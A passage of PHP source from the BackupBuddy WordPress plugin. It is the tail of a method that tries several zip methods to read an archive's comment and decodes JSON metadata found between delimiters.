'pluginbuddy_zbzip' . $method_tag; $zipper = new $class_name( $this ); $zipper->set_logger( $this->_default_child_logger ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Now we are ready to try and test for the file existence $result = $zipper->get_comment( $zip_file ); // Will be false if we couldn't set the comment if ( is_string ( $result ) ) { // Format has changed and no longer encoding as htmlemtities when setting comment // For older backups may need to remove encoding - action _should_ be null if N/A // Only spanner would be if someone had put an entity in their comment but that is // really an outsider and in any case the correction is simply to edit and resave // TODO: Remove this when new format has been in use for some time $result = html_entity_decode( $result ); // Must assume that comment was retrieved ok unset( $zipper ); // Return raw comment as-is with no processing if specified. if ( true === $raw_comment ) { return $result; } // Handle delimination. Decode $result if json decoded (associative array mode). $start_deliminator = strpos( $result, 'MetaData:' ); $end_deliminator = strpos( $result, 'MetaData-End:' ); if ( ( false !== $start_deliminator ) && ( false !== $end_deliminator ) ) { // Found both deliminators. $result = substr( $result, $start_deliminator+9, $end_deliminator-9 ); if ( NULL === ( $decoded_result = json_decode( $result, true ) ) ) { // Json decode failed so return string. return $result; } else { // Json decode success so returning variable (should be an array most likely). return $decoded_result; } } // No deliminators found if made it to this point so assuming plain text legacy comment (or deliminators missing/corrupt). // We have to return here because we cannot break out of foreach return $result; } else { // The zipper encountered an error so we need to drop through and loop round to try another // We'll not process the result here, just drop through silently (the method will have logged it) unset( $zipper ); } } } // If we got this far then couldn't get a comment at all - either no available method or all method failed $this->log( 'details', sprintf( __('Unable to get comment in file %1$s: No compatible zip method found or all methods failed.','it-l10n-backupbuddy' ), $zip_file ) ); return false; } } // End class }